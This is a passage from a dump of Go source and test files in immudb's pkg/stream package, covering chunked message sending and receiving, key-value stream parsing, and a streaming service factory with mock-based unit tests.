&ExecAllRequest{\n\t\tOperations: []*Op{\n\t\t\t{\n\t\t\t\tOperation: &Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:      []byte(`exec-all-set`),\n\t\t\t\t\t\tScore:    85.4,\n\t\t\t\t\t\tKey:      []byte(`exec-all-key`),\n\t\t\t\t\t\tAtTx:     0,\n\t\t\t\t\t\tBoundRef: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\terr := eas.Send(aOps)\n\trequire.ErrorIs(t, err, errCustom)\n}\n\nfunc TestExecAllStreamSender_SendKVError(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\ts.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) {\n\t\treturn errCustom\n\t}\n\teas := NewExecAllStreamSender(s)\n\n\taOps := &ExecAllRequest{\n\t\tOperations: []*Op{\n\t\t\t{\n\t\t\t\tOperation: &Op_KeyValue{\n\t\t\t\t\tKeyValue: &KeyValue{\n\t\t\t\t\t\tKey: &ValueSize{\n\t\t\t\t\t\t\tContent: bytes.NewBuffer([]byte(`exec-all-key2`)),\n\t\t\t\t\t\t\tSize:    len([]byte(`exec-all-key2`)),\n\t\t\t\t\t\t},\n\t\t\t\t\t\tValue: &ValueSize{\n\t\t\t\t\t\t\tContent: bytes.NewBuffer([]byte(`exec-all-val2`)),\n\t\t\t\t\t\t\tSize:    len([]byte(`exec-all-val2`)),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\terr := eas.Send(aOps)\n\trequire.ErrorIs(t, err, errCustom)\n}\n\nfunc TestExecAllStreamSender_SendRefError(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\ts.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) {\n\t\treturn errors.New(\"custom one\")\n\t}\n\teas := NewExecAllStreamSender(s)\n\n\taOps := &ExecAllRequest{\n\t\tOperations: []*Op{\n\t\t\t{\n\t\t\t\tOperation: &Op_Ref{},\n\t\t\t},\n\t\t},\n\t}\n\terr := eas.Send(aOps)\n\trequire.ErrorContains(t, err, ErrRefOptNotImplemented)\n}\n"
  },
  {
    "path": "pkg/stream/execall_streamer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\ntype ExecAllStreamSender interface {\n\tSend(req *ExecAllRequest) error\n}\n\ntype ExecAllStreamReceiver interface {\n\tNext() (IsOp_Operation, error)\n}\n"
  },
  {
    "path": "pkg/stream/factory.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\ntype serviceFactory struct {\n\tChunkSize int\n}\n\n// ServiceFactory returns high level immudb streaming services\n// High level services are capable to receive and send immudb transportation objects. Those services rely on internal more generic receiver and sender services.\ntype ServiceFactory interface {\n\tNewMsgReceiver(str ImmuServiceReceiver_Stream) MsgReceiver\n\tNewMsgSender(str ImmuServiceSender_Stream) MsgSender\n\n\tNewKvStreamReceiver(str MsgReceiver) KvStreamReceiver\n\tNewKvStreamSender(str MsgSender) KvStreamSender\n\n\tNewVEntryStreamReceiver(str MsgReceiver) VEntryStreamReceiver\n\tNewVEntryStreamSender(str MsgSender) VEntryStreamSender\n\n\tNewZStreamReceiver(str MsgReceiver) ZStreamReceiver\n\tNewZStreamSender(str MsgSender) ZStreamSender\n\n\tNewExecAllStreamSender(str MsgSender) ExecAllStreamSender\n\tNewExecAllStreamReceiver(str MsgReceiver) ExecAllStreamReceiver\n}\n\n// NewStreamServiceFactory returns a new ServiceFactory\nfunc NewStreamServiceFactory(chunkSize int) ServiceFactory {\n\treturn &serviceFactory{ChunkSize: chunkSize}\n}\n\n// NewMsgSender returns a MsgSender\nfunc (s *serviceFactory) NewMsgSender(str ImmuServiceSender_Stream) MsgSender {\n\treturn NewMsgSender(str, make([]byte, s.ChunkSize))\n}\n\n// NewMsgReceiver returns a MsgReceiver\nfunc (s *serviceFactory) NewMsgReceiver(str ImmuServiceReceiver_Stream) MsgReceiver {\n\treturn NewMsgReceiver(str)\n}\n\n// NewKvStreamReceiver returns a KvStreamReceiver\nfunc (s *serviceFactory) NewKvStreamReceiver(mr MsgReceiver) KvStreamReceiver {\n\treturn NewKvStreamReceiver(mr, s.ChunkSize)\n}\n\n// NewKvStreamSender returns a KvStreamSender\nfunc (s *serviceFactory) NewKvStreamSender(ms MsgSender) KvStreamSender {\n\treturn NewKvStreamSender(ms)\n}\n\nfunc (s *serviceFactory) NewVEntryStreamReceiver(mr MsgReceiver) VEntryStreamReceiver {\n\treturn NewVEntryStreamReceiver(mr, s.ChunkSize)\n}\n\nfunc (s *serviceFactory) NewVEntryStreamSender(ms MsgSender) VEntryStreamSender {\n\treturn NewVEntryStreamSender(ms)\n}\n\n// NewZStreamReceiver returns a ZStreamReceiver\nfunc (s *serviceFactory) NewZStreamReceiver(mr MsgReceiver) ZStreamReceiver {\n\treturn NewZStreamReceiver(mr, s.ChunkSize)\n}\n\n// NewZStreamSender returns a ZStreamSender\nfunc (s *serviceFactory) NewZStreamSender(ms MsgSender) ZStreamSender {\n\treturn NewZStreamSender(ms)\n}\n\n// NewExecAllStreamReceiver returns a ExecAllStreamReceiver\nfunc (s *serviceFactory) NewExecAllStreamReceiver(mr MsgReceiver) ExecAllStreamReceiver {\n\treturn NewExecAllStreamReceiver(mr, s.ChunkSize)\n}\n\n// NewExecAllStreamSender returns a ExecAllStreamSender\nfunc (s *serviceFactory) NewExecAllStreamSender(ms MsgSender) ExecAllStreamSender {\n\treturn NewExecAllStreamSender(ms)\n}\n"
  },
  {
    "path": "pkg/stream/kvparser.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"io\"\n)\n\n// ReadValue returns the complete value from a message\n// If no more data is present on the reader nil and io.EOF are returned\nfunc ReadValue(vr io.Reader, bufferSize int) (value []byte, err error) {\n\tb := bytes.NewBuffer([]byte{})\n\tvl := 0\n\teof := false\n\tchunk := make([]byte, bufferSize)\n\tfor {\n\t\tl, err := vr.Read(chunk)\n\t\tif err != nil && err != io.EOF {\n\t\t\treturn nil, err\n\t\t}\n\t\tvl += l\n\t\tb.Write(chunk)\n\t\t// we return an EOF also if there is another message present on stream (l == 0)\n\t\tif err == io.EOF || l == 0 {\n\t\t\teof = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif eof && vl == 0 {\n\t\treturn nil, io.EOF\n\t}\n\tvalue = make([]byte, vl)\n\t_, err = b.Read(value)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn value, err\n}\n"
  },
  {
    "path": "pkg/stream/kvparser_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestParseKV(t *testing.T) {\n\tcontent := []byte(`contentval`)\n\tvalue, err := ReadValue(bytes.NewBuffer(content), 4096)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, value)\n}\n\nfunc TestParseErr(t *testing.T) {\n\tb := &streamtest.ErrReader{ReadF: func(i []byte) (int, error) {\n\t\treturn 0, errCustom\n\t}}\n\tentry, err := ReadValue(b, 4096)\n\trequire.ErrorIs(t, err, errCustom)\n\trequire.Nil(t, entry)\n}\n\nfunc TestParseEof(t *testing.T) {\n\tb := &streamtest.ErrReader{ReadF: func(i []byte) (int, error) {\n\t\treturn 0, io.EOF\n\t}}\n\tentry, err := ReadValue(b, 4096)\n\trequire.ErrorIs(t, err, io.EOF)\n\trequire.Nil(t, entry)\n}\n\nfunc TestParseEmptyContent(t *testing.T) {\n\tcontent := []byte{}\n\tvalue, err := ReadValue(bytes.NewBuffer(content), 4096)\n\trequire.ErrorIs(t, err, io.EOF)\n\trequire.Nil(t, value)\n}\n"
  },
  {
    "path": "pkg/stream/kvreceiver.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"io\"\n)\n\ntype kvStreamReceiver struct {\n\ts          io.Reader\n\tBufferSize int\n}\n\n// NewKvStreamReceiver returns a new kvStreamReceiver\nfunc NewKvStreamReceiver(s io.Reader, bs int) KvStreamReceiver {\n\treturn &kvStreamReceiver{\n\t\ts:          s,\n\t\tBufferSize: bs,\n\t}\n}\n\n// Next returns the following key and value reader pair found on stream. If no more key values are presents on stream it returns io.EOF\nfunc (kvr *kvStreamReceiver) Next() ([]byte, io.Reader, error) {\n\tkey, err := ReadValue(kvr.s, kvr.BufferSize)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\treturn key, kvr.s, nil\n}\n"
  },
  {
    "path": "pkg/stream/kvsender.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\ntype kvStreamSender struct {\n\ts MsgSender\n}\n\n// NewKvStreamSender returns a new kvStreamSender\nfunc NewKvStreamSender(s MsgSender) *kvStreamSender {\n\treturn &kvStreamSender{\n\t\ts: s,\n\t}\n}\n\n// Send send a KeyValue on strem\nfunc (st *kvStreamSender) Send(kv *KeyValue) error {\n\tvss := []*ValueSize{kv.Key, kv.Value}\n\n\tfor _, vs := range vss {\n\t\terr := st.send(vs)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (st *kvStreamSender) send(vs *ValueSize) error {\n\terr := st.s.Send(vs.Content, vs.Size, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/stream/kvsender_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewKvStreamSender(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := NewMsgSender(sm, make([]byte, 4096))\n\tkvss := NewKvStreamSender(s)\n\trequire.IsType(t, &kvStreamSender{}, kvss)\n}\n\nfunc TestKvStreamSender_Send(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\tkvss := NewKvStreamSender(s)\n\tkv := &KeyValue{\n\t\tKey: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t\tValue: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t}\n\n\terr := kvss.Send(kv)\n\n\trequire.NoError(t, err)\n}\n\nfunc TestKvStreamSender_SendEOF(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\ts.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) {\n\t\treturn io.EOF\n\t}\n\ts.RecvMsgF = func(m interface{}) error {\n\t\treturn io.EOF\n\t}\n\tkvss := NewKvStreamSender(s)\n\tkv := &KeyValue{\n\t\tKey: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t\tValue: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t}\n\n\terr := kvss.Send(kv)\n\trequire.ErrorIs(t, err, io.EOF)\n}\n\nfunc TestKvStreamSender_SendErr(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\ts.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) {\n\t\treturn errCustom\n\t}\n\n\tkvss := NewKvStreamSender(s)\n\tkv := &KeyValue{\n\t\tKey: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t\tValue: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t}\n\n\terr := kvss.Send(kv)\n\n\trequire.ErrorIs(t, err, errCustom)\n}\n"
  },
  {
    "path": "pkg/stream/kvstreamer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport \"io\"\n\ntype KvStreamSender interface {\n\tSend(kv *KeyValue) error\n}\n\ntype KvStreamReceiver interface {\n\tNext() ([]byte, io.Reader, error)\n}\n"
  },
  {
    "path": "pkg/stream/meta.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nconst DefaultChunkSize int = 64 * 1024 // 64 * 1024 64 KiB\nconst MinChunkSize int = 4096\nconst MaxTxValueLen int = 1 << 25 // 32Mb\n"
  },
  {
    "path": "pkg/stream/receiver.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"io\"\n\n\t\"github.com/codenotary/immudb/pkg/errors\"\n)\n\n// NewMsgReceiver returns a NewMsgReceiver reader\nfunc NewMsgReceiver(stream ImmuServiceReceiver_Stream) *msgReceiver {\n\treturn &msgReceiver{stream: stream,\n\t\tb: new(bytes.Buffer),\n\t}\n}\n\ntype MsgReceiver interface {\n\tRead(data []byte) (n int, err error)\n\tReadFully() (message []byte, metadata map[string][]byte, err error)\n}\n\ntype msgReceiver struct {\n\tstream  ImmuServiceReceiver_Stream\n\tb       *bytes.Buffer\n\teof     bool\n\ttl      int\n\ts       int\n\tmsgSend bool\n}\n\n// ReadFully reads the entire message that could be transmitted in several chunks\nfunc (r *msgReceiver) ReadFully() (message []byte, metadata map[string][]byte, err error) {\n\tfirstChunk, err := r.stream.Recv()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tif len(firstChunk.Content) < 8 {\n\t\treturn nil, firstChunk.Metadata, errors.New(ErrChunkTooSmall)\n\t}\n\n\tmsgSize := int(binary.BigEndian.Uint64(firstChunk.Content))\n\n\tb := make([]byte, msgSize)\n\tread := 0\n\n\tcopy(b, firstChunk.Content[8:])\n\tread += len(firstChunk.Content) - 8\n\n\tfor read < msgSize {\n\t\tchunk, err := r.stream.Recv()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn b, firstChunk.Metadata, err\n\t\t}\n\n\t\tcopy(b[read:], chunk.Content)\n\t\tread += len(chunk.Content)\n\t}\n\n\tif read < msgSize {\n\t\treturn b, firstChunk.Metadata, io.EOF\n\t}\n\n\treturn b, firstChunk.Metadata, nil\n}\n\n// Read read fill message with received data and return the number of read bytes or error. If no message is present it returns 0 and io.EOF. If the message is complete it returns 0 and nil, in that case successive calls to Read will returns a new message.\nfunc (r *msgReceiver) Read(data []byte) (n int, err error) {\n\tif r.msgSend {\n\t\tr.msgSend = false\n\t\treturn 0, nil\n\t}\n\t// if message is fully received and there is no more data in stream 0 and EOF is returned\n\tif r.eof && r.b.Len() == 0 {\n\t\treturn 0, io.EOF\n\t}\n\n\tfor {\n\t\t// buffer until reach the capacity of the message\n\tbufferLoad:\n\t\tfor r.b.Len() <= len(data) {\n\t\t\tchunk, err := r.stream.Recv()\n\t\t\tif chunk != nil {\n\t\t\t\tr.b.Write(chunk.Content)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\t// no more data in stream\n\t\t\t\tif err == io.EOF {\n\t\t\t\t\tr.eof = true\n\t\t\t\t\tbreak bufferLoad\n\t\t\t\t}\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t}\n\n\t\t// trailer (message length) initialization\n\t\tif r.tl == 0 {\n\t\t\ttrailer := make([]byte, 8)\n\t\t\t_, err = r.b.Read(trailer)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tr.tl = int(binary.BigEndian.Uint64(trailer))\n\t\t}\n\n\t\t// no more data in stream but buffer is not enough large to contains the expected value\n\t\tif r.eof && r.b.Len() < r.tl-r.s {\n\t\t\treturn 0, io.EOF\n\t\t}\n\n\t\t// message send edge cases\n\t\tmsgInFirstChunk := r.b.Len() >= r.tl\n\t\tlastRead := r.tl-r.s <= len(data)\n\t\tlastMessageSizeTooBig := r.tl-r.s > len(data)\n\t\tif (msgInFirstChunk || lastRead) && !lastMessageSizeTooBig {\n\t\t\tlastMessageSize := r.tl - r.s\n\t\t\tlmsg := make([]byte, lastMessageSize)\n\t\t\t_, err := r.b.Read(lmsg)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tn := copy(data, lmsg)\n\t\t\tr.tl = 0\n\t\t\tr.msgSend = true\n\t\t\tr.s = 0\n\t\t\treturn n, nil\n\t\t}\n\t\t// message send\n\t\tif r.b.Len() > len(data) {\n\t\t\tn, err := r.b.Read(data)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tr.s += n\n\t\t\treturn n, nil\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/stream/receiver_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestMsgReceiver_Read(t *testing.T) {\n\n\tchunk_size := 5_000\n\tchunk := make([]byte, chunk_size)\n\tfor i := 0; i < chunk_size-8; i++ {\n\t\tchunk[i] = byte(1)\n\t}\n\tchunk1 := &schema.Chunk{Content: bytes.Join([][]byte{streamtest.GetTrailer(len(chunk)), chunk}, nil)}\n\n\tchunk = make([]byte, 8)\n\tfor i := 0; i < 8; i++ {\n\t\tchunk[i] = byte(1)\n\t}\n\tchunk2 := &schema.Chunk{Content: chunk}\n\n\tsm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{\n\t\t{C: chunk1, E: nil},\n\t\t{C: chunk2, E: nil},\n\t\t{C: nil, E: io.EOF},\n\t})\n\n\tmr := NewMsgReceiver(sm)\n\n\tmessage := make([]byte, 4096)\n\n\tn, err := mr.Read(message)\n\n\trequire.NoError(t, err)\n\trequire.Equal(t, 4096, n)\n\n\tn, err = mr.Read(message)\n\n\trequire.NoError(t, err)\n\trequire.Equal(t, 904, n)\n}\n\nfunc TestMsgReceiver_ReadMessInFirstChunk(t *testing.T) {\n\tcontent := []byte(`mycontent`)\n\tchunk := &schema.Chunk{Content: bytes.Join([][]byte{streamtest.GetTrailer(len(content)), content}, nil)}\n\n\tsm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{\n\t\t{C: chunk, E: nil},\n\t\t{C: nil, E: io.EOF},\n\t})\n\n\tmr := NewMsgReceiver(sm)\n\tmessage := make([]byte, 4096)\n\n\tn, err := mr.Read(message)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 9, n)\n}\n\nfunc TestMsgReceiver_ReadFully_Edge_Cases(t *testing.T) {\n\tcontent := []byte(`mycontent`)\n\tfirstChunk := &schema.Chunk{Content: bytes.Join([][]byte{streamtest.GetTrailer(len(content)*2 + 1), content}, nil)}\n\tsecondChunk := &schema.Chunk{Content: content}\n\n\tsm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{\n\t\t{C: firstChunk, E: nil},\n\t\t{C: secondChunk, E: nil},\n\t\t{C: nil, E: io.EOF},\n\t})\n\tmr := NewMsgReceiver(sm)\n\t_, _, err := mr.ReadFully()\n\trequire.ErrorIs(t, err, io.EOF)\n\n\tsm = streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{\n\t\t{C: &schema.Chunk{Content: []byte{1}}, E: nil},\n\t\t{C: nil, E: io.EOF},\n\t})\n\tmr = NewMsgReceiver(sm)\n\t_, _, err = mr.ReadFully()\n\trequire.ErrorContains(t, err, ErrChunkTooSmall)\n\n\texpectedErr := errors.New(\"unexpected error\")\n\n\tsm = streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{\n\t\t{C: nil, E: expectedErr},\n\t})\n\n\tmr = NewMsgReceiver(sm)\n\n\t_, _, err = mr.ReadFully()\n\trequire.ErrorIs(t, err, expectedErr)\n\n\tsm = streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{\n\t\t{C: firstChunk, E: nil},\n\t\t{C: nil, E: expectedErr},\n\t})\n\n\tmr = NewMsgReceiver(sm)\n\t_, _, err = mr.ReadFully()\n\trequire.ErrorIs(t, err, expectedErr)\n}\n\nfunc TestMsgReceiver_EmptyStream(t *testing.T) {\n\n\tsm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{\n\t\t{C: nil, E: io.EOF},\n\t})\n\n\tmr := NewMsgReceiver(sm)\n\n\tmessage := make([]byte, 4096)\n\n\tn, err := mr.Read(message)\n\n\trequire.Equal(t, 0, n)\n\trequire.ErrorIs(t, err, io.EOF)\n}\n\nfunc TestMsgReceiver_ErrNotEnoughDataOnStream(t *testing.T) {\n\n\tcontent := []byte(`mycontent`)\n\tchunk := &schema.Chunk{Content: bytes.Join([][]byte{streamtest.GetTrailer(len(content) + 10), content}, nil)}\n\n\tsm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{\n\t\t{C: chunk, E: nil},\n\t\t{C: nil, E: io.EOF},\n\t})\n\n\tmr := NewMsgReceiver(sm)\n\n\tmessage := make([]byte, 4096)\n\n\tn, err := mr.Read(message)\n\n\trequire.Equal(t, 0, n)\n\trequire.ErrorIs(t, err, io.EOF)\n}\n\nfunc TestMsgReceiver_StreamRecvError(t *testing.T) {\n\n\tsm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{\n\t\t{C: nil, E: errCustom},\n\t})\n\n\tmr := NewMsgReceiver(sm)\n\n\tmessage := make([]byte, 4096)\n\n\tn, err := mr.Read(message)\n\n\trequire.Equal(t, 0, n)\n\trequire.ErrorIs(t, err, errCustom)\n}\n\nfunc TestMsgReceiver_StreamMsgSent(t *testing.T) {\n\n\tsm := streamtest.DefaultImmuServiceReceiverStreamMock(nil)\n\n\tmr := NewMsgReceiver(sm)\n\tmr.msgSend = true\n\tmessage := make([]byte, 4096)\n\n\tn, err := mr.Read(message)\n\n\trequire.Equal(t, 0, n)\n\trequire.NoError(t, err)\n}\n\nfunc TestMsgReceiver_StreamEOF(t *testing.T) {\n\n\tsm := streamtest.DefaultImmuServiceReceiverStreamMock(nil)\n\n\tmr := NewMsgReceiver(sm)\n\tmr.eof = true\n\tmessage := make([]byte, 4096)\n\n\tn, err := mr.Read(message)\n\n\trequire.Equal(t, 0, n)\n\trequire.ErrorIs(t, err, io.EOF)\n}\n"
  },
  {
    "path": "pkg/stream/sender.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"encoding/binary\"\n\t\"io\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\ntype MsgSender interface {\n\tSend(reader io.Reader, chunkSize int, metadata map[string][]byte) (err error)\n\tRecvMsg(m interface{}) error\n}\n\ntype msgSender struct {\n\tstream ImmuServiceSender_Stream\n\tbuf    []byte\n\tchunk  *schema.Chunk\n}\n\n// NewMsgSender returns a NewMsgSender. It can be used on server side or client side to send a message on a stream.\nfunc NewMsgSender(s ImmuServiceSender_Stream, buf []byte) *msgSender {\n\treturn &msgSender{\n\t\tstream: s,\n\t\tbuf:    buf,\n\t\tchunk:  &schema.Chunk{},\n\t}\n}\n\n// Send reads from a reader until it reach msgSize. It fill an internal buffer from what it read from reader and, when there is enough data, it sends a chunk on stream.\n// It continues until it reach the msgSize. At that point it sends the last content of the buffer.\nfunc (st *msgSender) Send(reader io.Reader, msgSize int, metadata map[string][]byte) error {\n\tavailable := len(st.buf)\n\n\t// first chunk begins with the message size and including metadata\n\tbinary.BigEndian.PutUint64(st.buf, uint64(msgSize))\n\tavailable -= 8\n\n\tst.chunk.Metadata = metadata\n\n\tread := 0\n\n\tfor read < msgSize {\n\t\tn, err := reader.Read(st.buf[len(st.buf)-available:])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tavailable -= n\n\t\tread += n\n\n\t\tif available == 0 {\n\t\t\t// send chunk when it's full\n\t\t\tst.chunk.Content = st.buf[:len(st.buf)-available]\n\n\t\t\terr = st.stream.Send(st.chunk)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tavailable = len(st.buf)\n\n\t\t\t// metadata is only included into the first 